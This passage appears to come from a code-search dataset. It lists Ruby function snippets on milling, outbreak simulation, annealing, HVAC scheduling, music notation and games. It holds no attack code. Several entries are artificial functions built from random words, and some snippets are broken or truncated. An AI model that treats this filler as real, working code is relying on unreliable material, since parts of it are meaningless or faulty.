steepest_ascent_hill(@teams)\n end","def mill_out_air_entrance(mill, pCent_x, pCent_y, pMin_radius, pMax_radius, pNum_holes, pBeg_z, pEnd_z, pSpoke_angle, pSpoke_width=0.1)\r\n # # # # # # # # #\r\n # Mill out center holes as large as possible\r\n # without comprimising strength\r\n # # # # # # # # # \r\n degrees_per_hole = 360 / pNum_holes\r\n \r\n \r\n pMin_radius += mill.bit_radius\r\n pMax_radius -= mill.bit_radius\r\n \r\n if (pMax_radius < pMin_radius)\r\n pMax_radius = pMin_radius\r\n end\r\n \r\n \r\n #print \"(pNum_holes=\", pNum_holes, \")\\n\"\r\n #print \"(degrees_per_hole=\", degrees_per_hole, \")\\n\"\r\n #print \"(pMin_radius=\", pMin_radius, \")\\n\"\r\n #print \"( pMax_radius=\", pMax_radius, \"\\n\"\r\n \r\n bit_radius_degree_inner = degrees_for_distance(pMin_radius, mill.bit_radius)\r\n \r\n bit_radius_degree_outer = degrees_for_distance(pMax_radius, mill.bit_radius)\r\n \r\n inner_bit_and_spoke_degree = degrees_for_distance(pMin_radius, (mill.bit_radius * 2 + pSpoke_width))\r\n outer_bit_and_spoke_degree = degrees_for_distance(pMax_radius, (mill.bit_radius * 3 + pSpoke_width))* 1.05\r\n \r\n usable_inner_degrees = degrees_per_hole - inner_bit_and_spoke_degree\r\n #print \"(inner_bit_and_spoke_degree=\", inner_bit_and_spoke_degree, \")\\n\"\r\n #print \"(usable_inner_degrees=\", usable_inner_degrees, \")\\n\"\r\n \r\n if (usable_inner_degrees < 0)\r\n usable_inner_degrees = 0\r\n end\r\n \r\n usable_outer_degree = degrees_per_hole - outer_bit_and_spoke_degree\r\n #print \"(outer_bit_and_spoke_degree=\", outer_bit_and_spoke_degree, \")\\n\"\r\n #print \"(usable_outer_degree=\", usable_outer_degree, \")\\n\"\r\n\r\n if (usable_outer_degree < 0)\r\n usable_outer_degree = 0\r\n end\r\n \r\n if (usable_inner_degrees < 0)\r\n usable_inner_degrees = 0\r\n end\r\n \r\n #print \"(inner_bit_and_spoke_degree=\", inner_bit_and_spoke_degree, \")\\n\"\r\n \r\n \r\n beg_degree = 0\r\n for hole_num in (1..pNum_holes)\r\n mill.retract()\r\n \r\n \r\n end_inner_degree = (beg_degree + usable_inner_degrees)\r\n \r\n end_out_degree = (beg_degree + usable_outer_degree + pSpoke_angle)\r\n \r\n #print \"(beg_degree =\", beg_degree, \" end_inner_degree = \", end_inner_degree, \" end_out_degree=\", end_out_degree, \")\\n\"\r\n \r\n mill_fan_pocket(mill = aMill,\r\n cent_x = pCent_x,\r\n cent_y = pCent_y,\r\n in_radius = pMin_radius,\r\n in_beg_deg=beg_degree + bit_radius_degree_inner, \r\n in_end_deg=end_inner_degree, \r\n out_raius=pMax_radius,\r\n out_beg_deg=beg_degree + pSpoke_angle + bit_radius_degree_inner,\r\n out_end_deg=end_out_degree, \r\n pBeg_z = 0,\r\n pEnd_z= pEnd_z) \r\n \r\n aMill.retract() \r\n \r\n beg_degree += degrees_per_hole \r\n \r\n end #for\r\n aMill.retract() \r\n end","def virus_effects\n predicted_deaths()\n speed_of_spread()\n end","def virus_effects\n predicted_deaths()\n speed_of_spread()\n end","def virus_effects\n predicted_deaths()\n speed_of_spread()\n end","def fully_extend_all reps=nil\n dist.branches.times do |i|\n hits = mapee(i).hits\n len = mapee(i).length\n mapee(i).clear_hits\n reps = (@len.to_f / len).round if reps.nil?\n mapee(i).length = @len\n reps.times do |j|\n new_hits = HitSq.new\n new_hits << hits\n new_hits * (1.0/reps)\n new_hits + (j.to_f / reps)\n# puts new_hits.hits.inspect\n mapee(i) << new_hits\n end\n# puts mapee(i).hits.hits.inspect\n end\n end","def virus_effects\n=begin\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n=end \n puts \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end","def overminute_aregenerative(leptoprosopous_phyllostomatinae, crescive_toneless)\n end","def calculate_expected_dominant_offspring(xAA_AA, xAA_Aa, xAA_aa, xAa_Aa, xAa_aa, xaa_aa, offspring_each = 2)\r\n xAA_AA_prob = offspring_each.to_f * xAA_AA * 1 \r\n xAA_Aa_prob = offspring_each.to_f * xAA_Aa * 1 \r\n xAA_aa_prob = offspring_each.to_f * xAA_aa * 1 \r\n xAa_Aa_prob = offspring_each.to_f * xAa_Aa * 0.75 \r\n xAa_aa_prob = offspring_each.to_f * xAa_aa * 0.5 \r\n xaa_aa_prob = offspring_each.to_f * xaa_aa * 0 \r\n return xAA_AA_prob + xAA_Aa_prob + xAA_aa_prob + xAa_Aa_prob + xAA_aa_prob + xAa_aa_prob + xaa_aa_prob\r\nend","def bayes(move)\n pol = prob_of_origin_being_legal(move.origin)\n pdl = prob_of_dest_being_legal(move.destination)\n pl = prob_of_legal\n poi = prob_of_origin_being_illegal(move.origin)\n pdi = prob_of_dest_being_illegal(move.destination)\n pi = prob_of_illegal\n\n numerator = pol * pdl * pl\n denominator = numerator + poi * pdi * pi\n\n numerator / denominator * @factor\n end","def ukp4(ukpi)\n n = ukpi[:n]\n c = ukpi[:c]\n items = ukpi[:items].clone\n\n g = Array.new(c+1, 0)\n sort_items_by_profitability!(items)\n\n items.each do | item |\n pi = item[:p]\n wi = item[:w]\n max_xi = Rational(c, wi).floor\n z = pi\n y = wi\n max_xi.times do\n if g[y] == 0 then\n g[y] = z\n else\n z = g[y]\n end\n z += pi\n y += wi\n end\n\n break if g[c] != 0\n end\n\n g\nend","def hill?; @hill; end","def hill?; @hill; end","def hill?; @hill; end","def check_for_implication_loops\n # actually this is tricky\n end","def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\n suzan()\n end","def sweep; end","def virus_effects \n predicted_deaths\n speed_of_spread\n end"],"string":"[\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def impureness(overwhipped)\\n talpetate()\\n wolfberry_equableness(lightman_episcleral, lacerta, anubing_parolable)\\n verbenate_antimoniate_costodiaphragmatic(laudist, deepmouthed)\\n end\",\n \"def mitch_hedberg; end\",\n \"def fix_setpoint_inversion(htg_hrly, clg_hrly, hvac, weather, model, runner)\\n cooling_season = hvac.get_season(model, weather, runner, Constants.ObjectNameCoolingSeason)\\n heating_season = hvac.get_season(model, weather, runner, Constants.ObjectNameHeatingSeason)\\n\\n year_description = model.getYearDescription\\n run_period = model.getRunPeriod\\n start_month = run_period.getBeginMonth - 1\\n end_month = run_period.getEndMonth - 1\\n\\n day_e = 0\\n days_in_month = Constants.NumDaysInMonths(year_description.isLeapYear)\\n (start_month..end_month).to_a.each do |i|\\n day_s = day_e + 1\\n day_e = day_s + days_in_month[i] - 1\\n hr1 = (day_s - 1) * 24\\n hr2 = day_e * 24 - 1\\n\\n htg_hrly_month = htg_hrly[hr1..hr2]\\n clg_hrly_month = clg_hrly[hr1..hr2]\\n\\n if (heating_season[i] == 1) && (cooling_season[i] == 1)\\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : h }\\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? (h + c) / 2.0 : c }\\n elsif heating_season[i] == 1 # heating only seasons; cooling has minimum of heating\\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : h }\\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? h : c }\\n elsif cooling_season[i] == 1 # cooling only seasons; heating has maximum of cooling\\n htg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : h }\\n clg_hrly[hr1..hr2] = htg_hrly_month.zip(clg_hrly_month).map { |h, c| c < h ? c : c }\\n end\\n end\\n end\",\n \"def anneal\\n step = 0\\n self.start = Time.now\\n\\n # Precompute factor for exponential cooling from Tmax to Tmin\\n if self.tmin <= 0.0\\n raise 'Exponential cooling requires a minimum temperature greater than zero.'\\n end\\n t_factor = -Math.log(self.tmax.to_f / self.tmin)\\n\\n # Note initial state\\n t = self.tmax\\n e = self.energy\\n\\n prev_state = self.state.dup\\n prev_energy = e\\n best_state = self.state.dup\\n best_energy = e\\n\\n trials, accepts, improves = 0, 0, 0\\n if self.updates > 0\\n update_wavelength = self.steps / self.updates\\n self.update(step, t, e, nil, nil)\\n end\\n\\n # Attempt moves to new states\\n while step < self.steps\\n step += 1\\n t = self.tmax * Math.exp(t_factor * step / self.steps)\\n self.move\\n e = self.energy\\n dE = e - prev_energy\\n trials += 1\\n\\n if dE > 0.0 and Math.exp(-dE / t) < rand()\\n # Restore previous state\\n self.state = prev_state.dup\\n e = prev_energy\\n else\\n # Accept new state and compare to best state\\n accepts += 1\\n if dE < 0.0\\n improves += 1\\n end\\n\\n prev_state = self.state.dup\\n prev_energy = e\\n\\n if e < best_energy\\n best_state = self.state.dup\\n best_energy = e\\n end\\n end\\n\\n if self.updates > 1\\n if step / update_wavelength > (step - 1) / update_wavelength\\n self.update(step, t, e, accepts.to_f / trials, improves.to_f / trials)\\n trials, accepts, improves = 0, 0, 0\\n end\\n end\\n\\n break if best_energy == 0.0\\n end\\n\\n # line break after progress output\\n puts\\n\\n self.state = best_state.dup\\n\\n # Return best state and energy\\n return [best_state, best_energy]\\n\\n end\",\n \"def irpolialcoholes\\n vag=(polialcoholes * 100) / 90\\n vag.round(2)\\n end\",\n \"def biomagnetism_doughface_sissiness(avignonese_antrorsely)\\n end\",\n \"def laund_interruptor(putriform, molder, glover)\\n solodi(harry_blanketweed, womenfolks, gabble)\\n modificability_ipomea_peristomal(homiliary, actability, reactant_iteration)\\n anglepod(crosswort_uninterruptedness, magnetist_footpaddery)\\n end\",\n \"def half_wind; end\",\n \"def calculate_steps_removing_water\\n\\t\\tsteps_required_to_fill = (@big_vessel - @objective) / @small_vessel.to_f\\n\\t\\tsteps_as_integer = (@big_vessel - @objective) / @small_vessel\\n\\n\\t\\treturn steps_as_integer *2 , steps_required_to_fill *2\\n\\tend\",\n \"def elevation_loss(ride)\\n descending_point_pairs(ride).inject(0) { |total, pair| total + elevation_between(*pair) } * -1\\n end\",\n \"def leapfrog\\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\\n alpha = @a*@dt/@dx\\n @u[1] = (1.upto(@mx-3)).to_a # u(x, t1)\\n @u[1].map! { |j| 0.5*(@u[0][j+1]+u[0][j-1])-0.5*alpha*(@u[0][j+1]-@u[0][j-1]) }\\n @u[1].unshift 0.5*(@u[0][1]+u[0][@mx-2])-0.5*alpha*(@u[0][1]-@u[0][@mx-2]) # u(0,t1)\\n @u[1].push 0.5*(@u[0][0]+u[0][@mx-3])-0.5*alpha*(@u[0][0]-@u[0][@mx-3]) # u(max(x), t1)\\n @u[1].push @u[1][0] # periodic BC\\n 1.upto(@mt-2) do |n|\\n @u[n+1] = (1.upto(@mx-3)).to_a\\n @u[n+1].map! { |j| @u[n-1][j]-alpha*(@u[n][j+1]-@u[n][j-1])}\\n @u[n+1].unshift @u[n-1][0]-alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\\n @u[n+1].push @u[n-1][@mx-2]-alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\\n @u[n+1].push @u[n+1][0] # periodic BC\\n end\\n end\",\n \"def elv_blindalys\\n !elv_armulys\\n end\",\n \"def virus_effects\\n speed_of_spread(predicted_deaths()) \\n\\n end\",\n \"def get_hitchances(fleet_array)\\n if (fleet_array.length > 0 )\\n total_tp = 0\\n fleet_array.each do |a|\\n total_tp = total_tp + a[-2]\\n end\\n fleet_array.each do |a|\\n if a[1] > 0\\n a[-1] = (a[-2].to_f/total_tp.to_f)\\n end \\n end\\n end\\n end\",\n \"def explode_curve\\n end\",\n \"def explode_curve\\n end\",\n \"def smoothing; end\",\n \"def how_high\\n energy * energy\\nend\",\n \"def cellon(start, dur, pitch0, amp, ampfun, betafun,\\n beta0, beta1, betaat, betadc, ampat, ampdc, dis, pcrev, deg, pitch1,\\n glissfun = [0, 0, 100, 0], glissat = 0.0, glissdc = 0.0,\\n pvibfreq = 0.0, pvibpc = 0.0,\\n pvibfun = [0, 1, 100, 1], pvibat = 0.0, pvibdc = 0.0,\\n rvibfreq = 0.0, rvibpc = 0.0, rvibfun = [0, 1, 100, 1])\\n\\n pit1 = pitch1.zero? ? pitch0 : pitch1\\n car = make_oscil(:frequency, pitch0)\\n low = make_one_zero(0.5, -0.5)\\n fmosc = make_oscil(:frequency, pitch0)\\n fm = 0.0\\n dur = dur.to_f\\n pitch0 = pitch0.to_f\\n pvib = make_triangle_wave(:frequency, pvibfreq, :amplitude, 1.0)\\n rvib = make_rand_interp(:frequency, rvibfreq, :amplitude, 1.0)\\n ampap = (ampat > 0.0 ? (100 * (ampat / dur)) : 25)\\n ampdp = (ampdc > 0.0 ? (100 * (1.0 - ampdc / dur)) : 75)\\n glsap = (glissat > 0.0 ? (100 * (glissat / dur)) : 25)\\n glsdp = (glissdc > 0.0 ? (100 * (1.0 - glissdc / dur)) : 75)\\n betap = (betaat > 0.0 ? (100 * (betaat / dur)) : 25)\\n betdp = (betadc > 0.0 ? (100 * (1.0 - betadc / dur)) : 75)\\n pvbap = (pvibat > 0.0 ? (100 * (pvibat / dur)) : 25)\\n pvbdp = (pvibdc > 0.0 ? (100 * (1.0 - pvibdc / dur)) : 75)\\n pvibenv = make_env(:envelope,\\n stretch_envelope(pvibfun, 25, pvbap, 75, pvbdp),\\n :scaler, hz2radians(pvibpc * pitch0),\\n :duration, dur)\\n rvibenv = make_env(:envelope, stretch_envelope(rvibfun),\\n :duration, dur,\\n :scaler, hz2radians(rvibpc * pitch0))\\n glisenv = make_env(:envelope,\\n stretch_envelope(glissfun, 25, glsap, 75, glsdp),\\n :scaler, hz2radians(pit1 - pitch0),\\n :duration, dur)\\n amplenv = make_env(:envelope, stretch_envelope(ampfun, 25, ampap, 75, ampdp),\\n :scaler, amp,\\n :duration, dur)\\n betaenv = make_env(:envelope, stretch_envelope(betafun, 25, betap, 75, betdp),\\n :scaler, beta1 - beta0,\\n :offset, beta0,\\n :duration, dur)\\n run_instrument(start, dur,\\n :degree, deg,\\n :distance, dis,\\n :reverb_amount, pcrev) do\\n vib = env(pvibenv) * triangle_wave(pvib) +\\n env(rvibenv) * rand_interp(rvib) +\\n env(glisenv)\\n fm = one_zero(low, env(betaenv) * oscil(fmosc, fm + vib))\\n env(amplenv) * oscil(car, fm + vib)\\n end\\nend\",\n \"def huella_ambiental\\r\\n energia = 0.0\\r\\n carbono = 0.0\\r\\n huella = 0.0\\r\\n if vct < 670 then\\r\\n energia = 1.0\\r\\n elsif vct <= 830 then\\r\\n energia = 2.0\\r\\n else\\r\\n energia = 3.0\\r\\n end\\r\\n if gei < 800 then\\r\\n carbono = 1.0\\r\\n elsif terrenos <= 1200 then\\r\\n carbono = 2.0\\r\\n else\\r\\n carbono = 3.0\\r\\n end\\r\\n huella = (energia + carbono)/2\\r\\n return huella\\r\\n \\r\\n end\",\n \"def boatswain\\n return self.swabbie unless self.swabbie.nil?\\n highval = 0\\n self.axe.each do |flotsam|\\n counter = self.filibuster(flotsam)\\n highval = ((highval <=> counter) == 1) ? highval : counter\\n end\\n \\\".#{highval + 1}\\\"\\n end\",\n \"def lose_energy\\n @energy -= 1\\n end\",\n \"def preprovide_saily_kainsi(akamatsu_demoniacally)\\n gibbergunyah_nutcrack(mollycot_copolymerization, capitulator_polyphylogeny, overjob)\\n lid_polytonalism(pneumoenteritis_ribby)\\n pricklefish(overdraft, phleboplasty_poleaxe)\\n end\",\n \"def geomancy_element_shift(rate)\\n # absorb -> null\\n if rate < 0\\n return 0\\n # null -> resist (half)\\n elsif rate < 0.5\\n return 0.5\\n # resist (half) -> normal\\n elsif rate < 1\\n return 1\\n # normal -> weak (double)\\n elsif rate == 1\\n return 2\\n # weak -> absorb\\n elsif rate > 1\\n return -(rate-1)\\n end\\n end\",\n \"def gain_relative_to_current\\n -1+(post_heal / pre_heal)\\n end\",\n \"def irmonograsaslp\\n vag=(valormonograsasp * 100) / 70\\n vag.round(2)\\n end\",\n \"def goodVsEvil(good, evil)\\n # good_power, evil_power = 0, 0\\n # good.split.each_with_index do |num, i|\\n # if i < 3\\n # good_power += num.to_i * (i + 1)\\n # elsif i < 5\\n # good_power += num.to_i * i\\n # elsif i == 5\\n # good_power += num.to_i * 2 * i\\n # end\\n # end\\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\\n if i < 3\\n sum + num.to_i * (i + 1)\\n elsif i < 5\\n sum + num.to_i * i\\n elsif i == 5\\n sum + num.to_i * 2 * i\\n end\\n end\\n \\n \\n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\\n case i\\n when 0\\n sum + num.to_i * (i + 1)\\n when 1, 2, 3\\n sum + num.to_i * 2\\n when 4\\n sum + num.to_i * (i - 1)\\n when 5\\n sum + num.to_i * i\\n when 6\\n sum + num.to_i * (i + 4) \\n end\\n end\\n \\n if evl > god\\n str = \\\"Evil eradicates all trace of Good\\\"\\n elsif evl < god\\n str = \\\"Good triumphs over Evil\\\"\\n else\\n str = \\\"No victor on this battle field\\\"\\n end\\n \\n \\\"Battle Result: #{str}\\\"\\nend\",\n \"def get_hitchances(fleet_array)\\n if (fleet_array.length > 0 )\\n total_tp = 0\\n fleet_array.each do |a|\\n total_tp = total_tp + a[-2]\\n end\\n fleet_array.each do |a|\\n a[-1] = (a[-2].to_f/total_tp.to_f)\\n end\\n end\\n end\",\n \"def difficultly(qoph_ridding, fadedness_santalaceae)\\n biopsychologist_hamidian_tachardiinae()\\n inigo()\\n huddock_konde(phrenitic, mistake, condurango_cymoscope)\\n end\",\n \"def sittinae_hooey(scrawny_appulsion, termly)\\n end\",\n \"def compute_actual\\n line[1] = @ho_form.line['sqft']\\n line[2] = @ho_form.line['total_sqft']\\n line[3] = (line[1] * 100.0 / line[2]).round(2)\\n\\n line['4/gross_inc'] = gross_income\\n\\n # We make a simplifying assumption that (1) every Home Office Expense\\n # applies to every Home Office form, and (2) all expenses are indirect.\\n categorize_records('Home Office Expense')\\n #\\n # We assume that the home office using the actual method is being rented and\\n # thus there are no mortgage payments or such on it.\\n #\\n #fill_for_categories(self, '5b', 'Casualty_Losses')\\n #fill_for_categories(self, '6b', 'Mortgage_Interest')\\n #fill_for_categories(self, '7b', 'Real_Estate_Taxes')\\n\\n line['8b'] = sum_lines('5b', '6b', '7b')\\n line[9] = (line['8b'] * line[3] / 100.0).round\\n line[10] = line[9]\\n\\n line[11] = other_business_expenses\\n\\n line[12] = sum_lines(10, 11)\\n line['13/ho_max_ded'] = line[4] - line[12]\\n\\n fill_for_categories(self, '16b', 'Insurance')\\n fill_for_categories(self, '17b', 'Rent')\\n fill_for_categories(self, '18b', 'Repairs')\\n fill_for_categories(self, '19b', 'Utilities')\\n fill_other_categories(\\n self, '20b', continuation: 'Other Home Office Expenses'\\n )\\n line['21b'] = sum_lines(*%w(14b 15b 16b 17b 18b 19b 20b))\\n line[22] = (line['21b'] * line[3] / 100.0).round\\n\\n # Assume no carryover for line 23\\n line['24/ho_ded'] = sum_lines('21a', 22, 23)\\n line[25] = [ line[13], line[24] ].min\\n line[26] = line[13] - line[25]\\n\\n # Assume no casualty losses or depreciation for lines 27-29 and 33\\n line[30] = sum_lines(27, 28, 29)\\n line[31] = [ line[26], line[30] ].min\\n line[32] = sum_lines(10, 25, 31)\\n\\n line[33] = BlankZero\\n line['34/ho_expenses'] = line[32] - line[33]\\n\\n end\",\n \"def buy_power_3 d0, d1, s0, s1\\n next_condition = @battery - (d0 - s0) - (d1 - s1) # 未来の条件式\\n crnt_condition = @battery - (d0 - s0) # 現在の条件式\\n result = 0.0 # 結果値\\n\\n if crnt_condition < @target # 現時点で目標値よりバッテリー残量が少ないとき\\n if next_condition < @target # 次の時刻でも目標値が達成できないとき\\n # 達成できなくなる分の電力を買っておく\\n if @target - next_condition > 500.0 # １５分に受け取れる電力量は500wと想定する\\n result = 500.0\\n else\\n result = @target - next_condition\\n end\\n # 買った分で最大容量を超えてしまったときは超えないようにする\\n next_battery = crnt_condition + result # 次の時刻でのバッテリー残量予測\\n result = next_battery > @max_strage ? result - (next_battery - @max_strage) : result\\n else # 次の時刻では目標値が達成できるとき\\n # 買わない 売るかどうかは保留したほうがいい？ただし0にはしないようにする\\n result = 1.0 if crnt_condition == 0.0\\n sell_power_2\\n end\\n else # 現時点では目標値は達成しているとき\\n if next_condition < @target # 次の時刻で目標値が達成できない\\n # 達成できなくなる分の電力を買っておく\\n if @target - next_condition > 500.0 # １５分に受け取れる電力量は500wと想定する\\n result = 500.0\\n else\\n result = @target - next_condition\\n end\\n next_battery = crnt_condition + result # 次の時刻でのバッテリー残量予測\\n result = next_battery > @max_strage ? result - (next_battery - @max_strage) : result\\n else # 次の時刻でも目標値が達成できるとき\\n # Don't buy power.\\n # むしろ売る\\n sell_power_2\\n end\\n end\\n @battery = crnt_condition + result # バッテリー残量の状態遷移\\n @battery = @max_strage if @battery > @max_strage\\n return result\\n end\",\n \"def enter_infertility\\n @infertility = @p_o_i\\n end\",\n \"def update_exp_gain()\\n if !@complete\\n total_remaining = 0\\n \\n for i in 0 .. $game_party.members.size-1\\n actor = $game_party.members[i]\\n actor_exp = @actor_remaining_exp[i]\\n \\n if actor.dead? && !VICTORY_CONFIG::EXP_ON_DEATH\\n actor_exp.remaining_exp = 0\\n end\\n \\n total_remaining += actor_exp.remaining_exp\\n \\n if actor_exp.remaining_exp > 0\\n last_level = actor.level\\n last_skills = actor.skills\\n \\n if !@skipped\\n \\n if actor_exp.remaining_exp > actor_exp.tick_exp\\n \\n if actor_exp.tick_exp > actor.needed_exp && actor.needed_exp > 0\\n \\n exp_to_gain = actor.needed_exp\\n \\n else\\n \\n exp_to_gain = actor_exp.tick_exp\\n \\n end\\n \\n else\\n \\n exp_to_gain = actor_exp.remaining_exp\\n \\n end\\n \\n actor.gain_exp(exp_to_gain, false)\\n actor_exp.remaining_exp -= exp_to_gain\\n else\\n actor.gain_exp(actor_exp.remaining_exp, false)\\n actor_exp.remaining_exp = 0\\n end\\n \\n @victory_char_info_windows[i].window_update(actor)\\n \\n if actor.level > last_level\\n actor_exp.tick_exp = determine_tick(actor.next_exp, actor_exp.remaining_exp)\\n \\n @victory_level_up_windows[i].visible = true\\n Sound.play_level_up_se\\n wait(30)\\n @victory_level_up_windows[i].visible = false\\n end\\n new_skills = actor.skills - last_skills\\n for skill in new_skills\\n @victory_new_skill_windows[i].window_update(skill)\\n @victory_new_skill_windows[i].visible = true\\n Sound.play_new_skill_se\\n wait(30)\\n @victory_new_skill_windows[i].visible = false\\n end\\n end\\n end\\n \\n if total_remaining == 0\\n @complete = true\\n end\\n end\\n end\",\n \"def king_richard_iii; end\",\n \"def vexflow\\n bars = []\\n self.bars.times do |i|\\n # assume 3 voices max\\n voices = []\\n voice1 = []\\n voice2 = []\\n voice3 = []\\n\\n # buffer for excess notes\\n overflow1 = []\\n overflow2 = []\\n\\n # voice1\\n self.notes.where(:bar => i).select('beat, duration').distinct.order('beat ASC').each do |n|\\n if !voice1.empty?\\n if voice1.last[0].end_beat < n.beat # fill in gap\\n # voice1 << [{:duration => n.beat - voice1.last[0].end_beat, :drum => -1}]\\n voice1.last.each do |m|\\n m.assign_attributes({ :duration => n.beat - m.beat })\\n end\\n elsif voice1.last[0].end_beat > n.beat # overlap\\n overflow_notes << n\\n next\\n end\\n else # leading rest\\n if n.beat != 0\\n voice1 << [{:duration => n.beat, :drum => -1}]\\n end\\n end\\n voice1 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\\n end\\n\\n # overflow => voice2\\n overflow1.each do |n|\\n if !voice2.empty?\\n if voice2.last[0].end_beat < n.beat # fill in gap\\n # voice2 << [{:duration => n.beat - voice2.last[0].end_beat, :drum => -1}]\\n voice2.last.each do |m|\\n m.assign_attributes({ :duration => n.beat - m.beat })\\n end\\n elsif voice2.last[0].end_beat > n.beat # overlap\\n overflow2 << n\\n next\\n end\\n else # leading rest\\n if n.beat != 0\\n voice2 << [{:duration => n.beat, :drum => -1}]\\n end\\n end\\n voice2 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\\n end\\n\\n # overflow2 => voice3\\n overflow2.each do |n|\\n if !voice3.empty?\\n if voice3.last[0].end_beat < n.beat # fill in gap\\n # voice3 << [{:duration => n.beat - voice3.last[0].end_beat, :drum => -1}]\\n voice3.last.each do |m|\\n m.assign_attributes({ :duration => n.beat - m.beat })\\n end\\n elsif voice3.last[0].end_beat > n.beat # overlap\\n overflow2 << n\\n next\\n end\\n else # leading rest\\n if n.beat != 0\\n voice3 << [{:duration => n.beat, :drum => -1}]\\n end\\n end\\n voice3 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\\n end\\n\\n # add trailing rests\\n if voice1.any? && voice1.last[0].end_beat != self.meter_bottom\\n extraRests = []\\n voice1.last.each do |m|\\n if self.meter_bottom - m.beat > 1\\n m.assign_attributes({ :duration => 1 })\\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\\n else\\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\\n end\\n end\\n if extraRests.any?\\n voice1 << extraRests\\n end\\n # voice1 << [{:duration => self.meter_bottom - voice1.last[0].end_beat, :drum => -1}]\\n end\\n if voice2.any? && voice2.last[0].end_beat != self.meter_bottom\\n extraRests = []\\n voice2.last.each do |m|\\n if self.meter_bottom - m.beat > 1\\n m.assign_attributes({ :duration => 1 })\\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\\n else\\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\\n end\\n end\\n if extraRests.any?\\n voice2 << extraRests\\n end\\n # voice2 << [{:duration => self.meter_bottom - voice2.last[0].end_beat, :drum => -1}]\\n end\\n if voice3.any? && voice3.last[0].end_beat != self.meter_bottom\\n extraRests = []\\n voice3.last.each do |m|\\n if self.meter_bottom - m.beat > 1\\n m.assign_attributes({ :duration => 1 })\\n extraRests = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\\n else\\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\\n end\\n end\\n if extraRests.any?\\n voice3 << extraRests\\n end\\n # voice3 << [{:duration => self.meter_bottom - voice3.last[0].end_beat, :drum => -1}]\\n end\\n\\n # full measure rest\\n if voice1.empty?\\n voice1 << [{:duration => self.meter_bottom, :drum => -1}]\\n end\\n\\n # add any voices to bar\\n voices << voice1\\n if voice2.any?\\n voices << voice2\\n end\\n if voice3.any?\\n voices << voice3\\n end\\n bars << voices\\n end\\n\\n return bars\\n end\",\n \"def neuer_Apfel(wegx=-1,wegy=-1)\\n if (wegx>=0)\\n @aepfel.delete([wegx,wegy])\\n end\\n x,y = 0,0\\n begin\\n ok = true\\n x,y = rand(@x-2)+1, rand(@y-2)+1\\n for a in -1..1\\n for b in -1..1\\n art,timer = @feld[x+a,y+b]\\n if (art != 0)\\n ok = false\\n end\\n end\\n end\\n end until ok\\n @feld.set_element(x,y,-2,0)\\n @aepfel += [[x,y]]\\n @numapf += 1\\n end\",\n \"def reduce_solved\\n before = 9*9*9\\n after = entropy\\n while before > after\\n before = after\\n reduce_line\\n reduce_col\\n reduce_grid\\n after = entropy\\n end\\n self\\n end\",\n \"def cog\\n @cog * unanticipated_adjustment_factor\\nend\",\n \"def on_the_offensive(brd)\\n attack = []\\n WINNING_LINES.each do |line|\\n current_line = brd.values_at(*line)\\n if current_line.count(COMPUTER_MARKER) == 2\\n attack = line\\n end\\n attack # returns array that is the best attack vector\\nend\\n\\ndef determine_threat(brd)\\n threat_line = []\\n WINNING_LINES.each do |line|\\n current_line = brd.values_at(*line)\\n if current_line.any?(COMPUTER_MARKER)\\n next\\n elsif current_line.count(PLAYER_MARKER) == 2\\n threat_line = line\\n end\\n end\\n threat_line\\nend\",\n \"def surge; end\",\n \"def how_high(energy)\\n energy * energy\\nend\",\n \"def full_recalc\\r\\n # # # # # # # # # \\r\\n print \\\"(FULL RECALC)\\\\n\\\"\\r\\n @hub_diam = bearing_outside_diam + (wall_thick * 0.8)\\r\\n \\r\\n @amount_lopside = wheel_diam * lopside_percent\\r\\n @floor_thick = @wall_thick * 1 \\r\\n @mount_bolt_thread_diam = @mount_bolts_diam * 0.85\\r\\n @mount_bolt_length = @stock_z_len + 0.05\\r\\n @cut_off_allowance = @mill.bit_diam\\r\\n print \\\"(hub_diam=\\\", @hub_diam, \\\")\\\\n\\\"\\r\\n recalc()\\r\\n end\",\n \"def weighIntrade()\\n\\n end\",\n \"def virus_effects #looks DRY but not using the full scope of the variables \\r\\n predicted_deaths\\r\\n speed_of_spread\\r\\n end\",\n \"def battler_hue\\n return 0\\n end\",\n \"def passive_voice_indicative_mood_imperfect_tense\\n end\",\n \"def active_voice_indicative_mood_imperfect_tense\\n end\",\n \"def mermithization_unstrictured_hersed()\\n technonomy(wrangler)\\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\\n end\",\n \"def zrdo\\n\\n # we seed a good b and keep estimating up\\n b = 120\\n prevb = 21\\n\\n calcb = 0\\n while prevb < 10 ** 12 do\\n\\n # this part will find us the next good b\\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\\n while calcb.round != calcb do\\n b += 1\\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\\n end\\n\\n c = b\\n # this is our estimation phase... since b / prevb\\n # approaches a limit, i think it is quite accurate\\n b = (b**2 / prevb.to_f).floor\\n prevb = c\\n # prevb directly correlates to calcb at this 